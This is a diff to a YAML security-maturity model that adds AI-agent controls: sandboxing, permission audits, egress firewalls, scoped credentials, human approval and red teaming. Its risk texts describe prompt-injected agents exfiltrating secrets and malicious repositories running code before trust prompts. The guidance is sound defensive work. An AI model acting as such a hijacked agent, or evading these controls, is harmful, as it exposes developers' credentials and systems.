container-based + environments (e.g. dev containers, sandboxes, ephemeral virtual machines) + limits the blast radius of malicious or faulty agent behavior. + + Use container technology (e.g. dev containers) or lightweight virtual machines + to sandbox agent runs. Mount only the repository being worked on, avoid mounting + credentials (e.g. cloud CLI configuration, SSH keys) and drop unneeded capabilities. + Destroy the environment after the task is finished. + risk: |- + An AI agent may be manipulated (e.g. via prompt injection in source code, + issues, dependencies or web content) or may malfunction. Without isolation, + it can read secrets, modify unrelated projects, exfiltrate data or damage + the developer workstation and connected systems. + measure: |- + Run AI agents and AI coding assistants with command execution capabilities in + a dedicated, least-privilege container or virtual machine which contains only + the required project files and is destroyed after use. + assessment: | + - Show the container or virtual machine configuration used for AI agent runs (e.g. a dev container definition) and demonstrate a live agent session running inside it. + - Show that only the project working directory is mounted and no credentials (SSH keys, cloud CLI configuration) are reachable from inside the environment. + - Demonstrate that the environment is destroyed after the task is finished. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 1 + tags: + - ai + - isolation + implementation: + - uuid: 0c01a64e-23d1-4c2e-a5c2-d728bcce0689 + name: 'NCC Group: An Introduction to AI Coding Agent Security' + tags: + - ai + - isolation + - permissions + - threat + - documentation + url: https://www.nccgroup.com/media/jtepwx1t/nccgroup_codingagentswhitepaper.pdf + description: |- + Whitepaper analyzing the security of AI coding agents (Claude Code, + Cursor, Codex): permission models and dangerous permission modes, sandbox + implementations and escalations, agent tools, configuration files/hooks + as attack surface, and untrusted/trusted workspace attack vectors. + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: 16d55730-74d6-47a5-b9bf-e5a5a3d9ed66 + name: 'OWASP AISVS C04: Infrastructure, Configuration and Deployment Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C04-Infrastructure.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C04: Infrastructure, Configuration and Deployment Security. + - uuid: ed6b6340-6c7f-4e13-8937-f560d3f5db11 + name: Container technologies and orchestration like Docker, Kubernetes + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:ContainerOrchestrationSoftware/ + references: + samm2: + - I-SB-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Container-based%20isolation%20of%20AI%20agents + comments: "" + Permission management for AI agents: + uuid: 4a618049-19da-4e20-b933-81f203ecd4d2 + description: |- + AI coding agents have their own permission model that controls which + tools, commands and file operations they may execute and which actions + are auto-approved (e.g. the allow-list in Claude Code settings). + These grants accumulate over time through convenience approvals and + form the first authorization layer, before any external credential is + involved. + risk: |- + Overly broad "always allow" grants accumulate unnoticed. A manipulated + or malfunctioning agent executes destructive commands, accesses + credential stores or pushes code without any confirmation, because the + permission was granted once and never reviewed. + measure: "Configure agent permissions default-deny if agents are not isolated + (e.g. least privileges with a container): \nrequire confirmation for sensitive + operations (pushes, deletions, network access, credential\npaths), distribute + a hardened baseline configuration to all projects and\naudit the accumulated + allow-lists regularly." + assessment: | + - Show the hardened baseline permission configuration that is distributed to projects. + - Demonstrate that a sensitive operation (e.g. push, deletion, access to credential paths) requires confirmation. + - Show the last audit of accumulated allow-lists including date and findings. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - uuid: 0c01a64e-23d1-4c2e-a5c2-d728bcce0689 + name: 'NCC Group: An Introduction to AI Coding Agent Security' + tags: + - ai + - isolation + - permissions + - threat + - documentation + url: https://www.nccgroup.com/media/jtepwx1t/nccgroup_codingagentswhitepaper.pdf + description: |- + Whitepaper analyzing the security of AI coding agents (Claude Code, + Cursor, Codex): permission models and dangerous permission modes, sandbox + implementations and escalations, agent tools, configuration files/hooks + as attack surface, and untrusted/trusted workspace attack vectors. + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: 7d17275d-396b-4002-98af-def5770a2035 + name: GrantGuard + tags: + - ai + - isolation + - permissions + - audit + url: https://github.com/OpenVanta/GrantGuard + description: |- + Audits the accumulated permission allow-list of the Claude Code agent + (user- and project-level settings): classifies grants into risk categories + (e.g. destructive wildcards, credential-store access, unrestricted pushes) + and supports reviewing and removing unsafe permissions. Runs fully local. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Permission%20management%20for%20AI%20agents + comments: "" + Rate limiting and resource budgets for AI systems: + uuid: 64aef733-bfb0-4df4-95de-bcecf668605d + description: "Every model call costs compute and money, and AI endpoints answer\nexpensive + requests on demand. Without limits a single user, script or\nrunaway agent + can exhaust the service: availability suffers or the\nprovider bill explodes + (\"denial of wallet\"), and mass querying of a\nmodel additionally enables + extraction of its behavior via\ninput-output harvesting. Limits apply in both + directions: inbound on\nexposed AI endpoints (requests per user and time window), + outbound\nfor the organization's own agents (token and cost budgets, iteration\ncaps + against runaway loops). The generic resource limits for\ninfrastructure are + defined in _Virtual environments are limited_\n(Implementation) \u2014 this + activity adds the AI-specific units:\nrequests, tokens and cost." + risk: |- + An attacker or a buggy client floods an AI endpoint with expensive + requests: the service becomes unavailable for legitimate users or + causes unbounded provider costs. A runaway agent loops at machine + speed and burns budget unnoticed. Unlimited mass querying supports + model extraction and brute-force prompt attacks. + measure: |- + Enforce rate limits per user, API key or tenant on all AI endpoints + and restrict input size before it reaches the model. Set token and + cost budgets per agent, team and time period, with alerts before a + budget is exhausted. Cap agent iterations (maximum tool calls or + recursion depth per task) so runaway loops terminate. An LLM gateway + or proxy centralizes these limits across models and providers. + dependsOn: + - 10e23a8c-22ff-4487-a706-87ccc9d0798e # Monitoring of costs + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting + assessment: | + - Show the rate limit configuration of an AI endpoint and a test where the limit triggers. + - Show the token and cost budgets per agent or team and the alert before a budget is exhausted. + - Show the iteration cap of an agent and what happens when it is reached. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - uuid: 47b4ba95-a6da-4493-94c2-829e9d47b612 + name: LiteLLM Proxy (AI Gateway) + tags: + - ai + - data-protection + - gateway + url: https://github.com/BerriAI/litellm + description: |- + Open-source LLM gateway that routes all model traffic through one proxy + with per-team API keys, audit logging and guardrail hooks (e.g. Presidio + PII masking, secret detection) applied to every request. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Rate%20limiting%20and%20resource%20budgets%20for%20AI%20systems + comments: "" + Untrusted workspace handling for AI agents: + uuid: 859c71b6-110f-40a9-9c98-20e8314ebdb7 + description: |- + Launching an AI coding agent inside a cloned third-party repository can + execute attacker-controlled content before any trust is granted: + repo-local agent settings, hooks, MCP definitions and planted binaries + have repeatedly led to code execution ahead of the workspace trust + dialog (documented vulnerabilities in Claude Code and Cursor). A repo + checked out "just to review a pull request" is an attack vector. + risk: "A developer clones a malicious repository and starts the agent in it;\nrepo-controlled + configuration or binaries execute on launch, before the\ntrust prompt is answered + \u2014 code execution on the developer machine with\naccess to credentials + and other projects." + measure: |- + Treat third-party repositories as untrusted workspaces: open them only + in an isolated container, do not honor repo-local agent configuration + (hooks, MCP servers, settings) of untrusted origin, keep agent versions + patched and never disable workspace trust prompts. + dependsOn: + - 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 # Container-based isolation of AI agents + assessment: | + - Show the documented procedure for opening third-party repositories with AI agents. + - Demonstrate that workspace trust prompts are enabled and that repository-local agent configuration (hooks, MCP servers, settings) is not honored for untrusted repositories. + - Show how agent versions are kept patched (update mechanism or policy). + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - uuid: 0c01a64e-23d1-4c2e-a5c2-d728bcce0689 + name: 'NCC Group: An Introduction to AI Coding Agent Security' + tags: + - ai + - isolation + - permissions + - threat + - documentation + url: https://www.nccgroup.com/media/jtepwx1t/nccgroup_codingagentswhitepaper.pdf + description: |- + Whitepaper analyzing the security of AI coding agents (Claude Code, + Cursor, Codex): permission models and dangerous permission modes, sandbox + implementations and escalations, agent tools, configuration files/hooks + as attack surface, and untrusted/trusted workspace attack vectors. + - uuid: 09d76871-83e2-424e-8210-a9aff332b4aa + name: Claude Code development container reference implementation + tags: + - ai + - isolation + - container + url: https://docs.claude.com/en/docs/claude-code/devcontainer + description: |- + Anthropic's reference devcontainer for running the Claude Code agent in an + isolated container, including an init-firewall.sh script that enforces + default-deny egress with a domain allow-list via iptables/ipset. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Untrusted%20workspace%20handling%20for%20AI%20agents + comments: "" + Least privilege on external systems for AI agents: + uuid: 45f722b2-25b4-472a-a743-f7207a77b5c9 + description: |- + Beyond their own permission model, AI agents authenticate against + external systems: source code management (e.g. GitHub), CI/CD, cloud + providers and internal APIs. Scoped, short-lived and auditable + credentials ensure an agent can only perform the actions required for + its task on those systems. + risk: |- + AI agents using broadly scoped personal or service credentials can be tricked + into destructive or unauthorized actions (e.g. deleting repositories, approving + their own pull requests, accessing production data). + measure: |- + Provide AI agents with dedicated identities and short-lived, minimally scoped + credentials (e.g. fine-grained access tokens restricted to one repository). + Where supported, keep credentials out of the agent process entirely: a + proxy or gateway injects them at the network boundary ("secretless" + architecture), so a prompt-injected agent cannot exfiltrate what it + never holds. Log and review agent actions separately from human actions. + dependsOn: + - 4a618049-19da-4e20-b933-81f203ecd4d2 # Permission management for AI agents + assessment: "- Show a dedicated agent identity in the source code management + system (or other external system) and the scopes granted to it.\n- Show that + agent credentials are short-lived and minimally scoped (token configuration + or issuance policy).\n- Show where agent credentials are stored and injected + \u2014 preferably outside the agent process (e.g. credential injection at + a proxy or gateway).\n- Demonstrate that agent actions are distinguishable + from human actions in the audit log.\n" + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - isolation + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: + - ai + - isolation + - permissions + - documentation + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + - uuid: 415def4e-8562-45e3-a085-b7edd5eb4317 + name: 'AI Coding Agent CLI design: Background & Cloud Agents' + tags: + - ai + - isolation + - logging + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/cloud + description: |- + System-design walkthrough of headless cloud agents: ephemeral sandboxes + with short-lived single-repo tokens, deny-by-default egress, PR review as + the human gate, anomaly detection and per-tenant retention with secret + redaction. + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + - uuid: e3a2ffc8-313f-437e-9663-b24591568209 + name: Hashicorp Vault + tags: + - authentication + - authorization + - secrets + - infrastructure + url: https://github.com/hashicorp/vault + description: | + A tool for secrets management, encryption as a service, and privileged access management. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Least%20privilege%20on%20external%20systems%20for%20AI%20agents + comments: "" + Network isolation for AI agents: + uuid: 951e6090-057b-4dc4-8b4f-18c6adcfc1ab + description: "Restricting the network egress of AI agent environments prevents + data\nexfiltration and the download of malicious tooling in case an agent + is\nhijacked through prompt injection.\n\nExample for a coding agent like + Claude Code running in a container:\n\n1. **Firewall inside the container**: + on container start, an init script\n running with the `NET_ADMIN` capability + configures a default-deny\n egress policy (iptables) and resolves an allow-list + of required\n domains into an ipset \u2014 model API (e.g. `api.anthropic.com`), + package\n registries (e.g. `registry.npmjs.org`) and the source code management\n + \ system. Anthropic's reference devcontainer ships this as\n `init-firewall.sh`. + The agent process runs as a non-root user\n afterwards, so it cannot alter + the firewall rules it is confined by.\n2. **Alternative \u2014 egress proxy**: + attach the container to an internal\n network without direct internet access + (e.g.\n `docker network create --internal`) and route traffic through a\n + \ filtering HTTP(S) proxy (`HTTPS_PROXY` environment variable) that\n enforces + the domain allow-list and logs all requests. In Kubernetes,\n enforce the + same with NetworkPolicies or a service mesh egress\n gateway.\n3. **DNS**: + allow DNS only to the internal resolver and only for\n allow-listed domains, + otherwise blocked domains remain reachable via\n direct IP or DNS tunneling + can be used for exfiltration.\n4. **Verify**: from inside the running container, + check that a request\n to an allow-listed endpoint succeeds and a request + to an arbitrary\n host (e.g. `curl https://example.com`) is blocked.\n\nIsolation-conscious + design pays a double dividend: forcing all agent\ntraffic through one enforced + egress point (firewall or proxy) creates\na monitored bottleneck \u2014 attacks + that would otherwise be invisible\nmust pass through it, which is a high-leverage + place for detection\n(see the Google DeepMind AI Control Roadmap)." + risk: |- + A prompt-injected AI agent can exfiltrate source code, secrets or personal + data to arbitrary hosts, or download and execute attacker-controlled payloads. + measure: |- + Limit network access of AI agent environments to an allow-list of required + endpoints (e.g. model API, package registries, source code management system). + Deny all other egress traffic by default. + dependsOn: + - 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 # Container-based isolation of AI agents + assessment: | + - Show the egress policy of the agent environment (firewall init script, proxy configuration or network policies) including the domain allow-list. + - Demonstrate from inside the agent environment that an allow-listed endpoint is reachable and a request to an arbitrary host is blocked. + - Show where blocked egress attempts are logged and who reviews them. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - isolation + implementation: + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: 16d55730-74d6-47a5-b9bf-e5a5a3d9ed66 + name: 'OWASP AISVS C04: Infrastructure, Configuration and Deployment Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C04-Infrastructure.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C04: Infrastructure, Configuration and Deployment Security. + - uuid: 09d76871-83e2-424e-8210-a9aff332b4aa + name: Claude Code development container reference implementation + tags: + - ai + - isolation + - container + url: https://docs.claude.com/en/docs/claude-code/devcontainer + description: |- + Anthropic's reference devcontainer for running the Claude Code agent in an + isolated container, including an init-firewall.sh script that enforces + default-deny egress with a domain allow-list via iptables/ipset. + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: "Roadmap for controlling potentially misaligned AI agents: treats + agents\nas untrusted principals and layers system-level defences \u2014 + TRAIT&R threat\ntaxonomy (based on MITRE ATT&CK), action/chain-of-thought + monitoring,\npull-request monitoring, UEBA anomaly detection, honeypots + and tiered\nprevention/response up to shutdown infrastructure." + - uuid: e3c6fb92-3f7d-471f-9308-c62359f4f1b7 + name: firewalls + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:Firewall/ + - uuid: ed6b6340-6c7f-4e13-8937-f560d3f5db11 + name: Container technologies and orchestration like Docker, Kubernetes + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:ContainerOrchestrationSoftware/ + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 13.1.3 + iso27001-2022: + - 8.22 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Network%20isolation%20for%20AI%20agents + comments: "" + Human approval for irreversible AI agent actions: + uuid: cd1cb2bd-4bd6-4b9f-beaa-921fe9ea9576 + description: "Agent actions differ vastly in blast radius: reading data is harmless,\ntransferring + money is not. Graduated human oversight assigns every\nclass of agent action + an approval tier based on its reversibility:\nlow-risk, reversible actions + run autonomously within guardrails;\nreversible actions with business impact + run under monitoring with an\nintervention window; irreversible actions \u2014 + financial transactions,\npermission changes, sharing data with third parties, + outbound\ncommunication \u2014 require explicit human approval before execution,\nhigh-risk + ones by two independent people (four-eyes principle).\nWhereas _Permission + management for AI agents_ governs the agent's\ntool-level permission model, + this activity governs the business\nactions an agent performs through those + tools. It completes the\nhuman-oversight ladder started by the artifact reviews\n(_Human + review of AI generated specifications_, _Human review of\nAI generated plans_, + _Human review of AI generated code_ in\nVerification): those gate what is + built, this activity gates what\na running agent does." + risk: |- + A manipulated (e.g. via prompt injection) or malfunctioning agent + performs an action that cannot be rolled back: money is transferred, + data reaches a third party, an e-mail is sent, permissions are + escalated. After-the-fact monitoring cannot undo it. The opposite + failure mode is rubber-stamping: approvals nobody actually reads + create the appearance of oversight without any. + measure: |- + Classify agent action types by reversibility and assign approval + tiers: pre-approval for irreversible actions, monitoring with an + intervention window for reversible actions with business impact + (e.g. buffer outbound messages for a defined period so an + intervention stops delivery), autonomy only for low-risk reversible + actions. If the reversibility of an action class cannot be + demonstrated, default to pre-approval. Require a second, independent + approver for high-risk actions, record the approver identity, the + decision context and the reason in the audit log, and design the + approval step so the approver actually sees the action and its + context instead of clicking through. + dependsOn: + - 4a618049-19da-4e20-b933-81f203ecd4d2 # Permission management for AI agents + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + assessment: | + - Show the classification of agent action types by reversibility and the approval tier assigned to each class. + - Demonstrate that an irreversible action (e.g. an outbound message or a permission change) is blocked until a human approves it, and that an intervention within the monitoring window stops a buffered action. + - Show a high-risk action with two documented, independent approvals. + - Show an audit log entry of an approval including approver identity, decision context and reason. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - isolation + - human-approval + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: e1611a8a-4e7d-439a-b9fc-992674c02d53 + name: EU AI Act + tags: + - ai + - documentation + - compliance + url: https://artificialintelligenceact.eu/ + description: |- + European regulation for AI systems with risk-based obligations. Relevant + input for an organizational AI usage policy (risk categorization, + transparency and documentation duties). + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 6.1.2 + iso27001-2022: + - 5.3 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Human%20approval%20for%20irreversible%20AI%20agent%20actions + comments: "" + Red Teaming: + Basic AI red teaming: + uuid: b4233919-6de0-4ed3-b7da-3bdd91c8db5e + description: |- + AI-based features (e.g. chat bots, agents, retrieval-augmented + generation (RAG) systems) have attack surfaces + that classic penetration tests do not cover, such as prompt injection, + jailbreaks, insecure output handling and excessive agency. Manual AI red + teaming probes these weaknesses before release. + risk: |- + AI features go live without being tested against AI-specific attacks. An + attacker uses prompt injection or jailbreaks to bypass restrictions, trigger + unauthorized actions or extract confidential data from the model context. + measure: |- + Perform manual AI red teaming for AI-based features before their initial + release, covering at least the OWASP Top 10 for LLM Applications + (e.g. prompt injection, insecure output handling, sensitive information + disclosure, excessive agency). + assessment: | + - Show the scope and findings of the last manual AI red teaming session for an AI-based feature. + - Show that findings were triaged and fixed (e.g. tickets and their resolution). + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - red-teaming + implementation: + - uuid: 814d5536-0dea-4a53-ae6b-cc7e4068a013 + name: 'OWASP AISVS C11: Adversarial Robustness' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C11-Adversarial-Robustness.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C11: Adversarial Robustness. + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C07-Model-Behavior.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C07: Model Behavior, Output Control and Safety Assurance. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Red%20Teaming/subsection/Basic%20AI%20red%20teaming + comments: "" + Regular automated AI red teaming: + uuid: 7fb64f55-2b2c-4165-bb5a-ce5204dc2f73 + description: |- + Automated AI red teaming tools run large libraries of adversarial prompts + (prompt injection, jailbreaks, data extraction, toxic output) against AI-based + features. Integrating them into the delivery pipeline detects regressions + whenever prompts, models or guardrails change. + risk: |- + One-off manual red teaming does not catch regressions. Model updates, prompt + changes or new tool integrations silently reintroduce vulnerabilities in + AI-based features. Upstream providers additionally update models without + notice ("silent model drift"): identical prompts produce different + behavior although nothing in the organization changed, and the change + goes unnoticed until complaints accumulate. + measure: "Integrate automated AI red teaming / adversarial testing tools into + the\ndelivery pipeline of AI-based features and run them regularly and on + every\nsignificant change to prompts, models or guardrails. Complement the\nadversarial + tests with behavioral regression tests (\"golden answers\"):\ndefined test + queries whose responses are compared semantically against\napproved reference + answers, so silent upstream model updates are\ndetected. Maintain the reference + answers like any other reviewed\ncontent \u2014 stale expected answers make + the tests pass while the\nresponses are wrong." + dependsOn: + - b4233919-6de0-4ed3-b7da-3bdd91c8db5e # Basic AI red teaming + assessment: | + - Show the automated AI red teaming tool and its integration into the delivery pipeline. + - Show recent runs, what triggered them (e.g. prompt or model changes) and how regressions are reported. + - Show the golden-answer test set, the semantic comparison against reference answers and when the reference answers were last reviewed. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 3 + usefulness: 4 + level: 4 + tags: + - ai + - red-teaming + implementation: + - uuid: 814d5536-0dea-4a53-ae6b-cc7e4068a013 + name: 'OWASP AISVS C11: Adversarial Robustness' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C11-Adversarial-Robustness.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C11: Adversarial Robustness. + - uuid: fd952d90-dec8-4bbd-848d-9203b33c35d8 + name: 'OWASP AISVS C07: Model Behavior, Output Control and Safety Assurance' + tags: + - ai + - documentation + - aisvs 